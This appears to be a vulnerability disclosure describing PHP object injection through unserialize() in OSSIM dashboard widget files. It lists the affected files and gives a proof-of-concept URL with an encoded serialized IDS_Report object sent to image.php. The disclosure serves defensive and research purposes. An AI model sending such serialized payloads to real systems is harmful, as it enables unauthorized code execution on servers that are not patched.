  Vulnerability Details
  =====================
  
  A PHP object injection vulnerability exists in multiple widget files
  due to the unsafe use of the unserialize() function. The affected
  files include flow_chart.php, gauge.php, honeypot.php,
  image.php,inventory.php, otx.php, rss.php, security.php, siem.php,
  taxonomy.php, tickets.php, and url.php.
  An authenticated attacker could send a serialized PHP object to one of
  the vulnerable pages and potentially gain code execution via magic
  methods in included classes.
  
  
  
  POC
  ====
  
  This benign POC injects the IDS_Report class from PHPIDS into the
  refresh parameter of image.php. The __toString method of IDS_Report is
  then executed and the output is displayed in the value of the content
  field in the response:
  
  /ossim/dashboard/sections/widgets/data/image.php?type=test&wtype=blah&height=1&range=1&class=1&id=&adj=1&value=a%3A5%3A{s%3A3%3A%22top%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22adjustment%22%3Bs%3A8%3A%22original%22%3Bs%3A6%3A%22height%22%3Bs%3A3%3A%22123%22%3Bs%3A7%3A%22refresh%22%3BO%3A10%3A%22IDS_Report%22%3A3%3A{s%3A9%3A%22%00*%00events%22%3Bs%3A9%3A%22testevent%22%3Bs%3A7%3A%22%00*%00tags%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00*%00impact%22%3Bs%3A16%3A%22Object+Injection%22%3B}s%3A7%3A%22content%22%3Bs%3A36%3A%22aHR0cDovL3d3dy50ZXN0LmNvbS8xLnBuZw%3D%3D%22%3B}
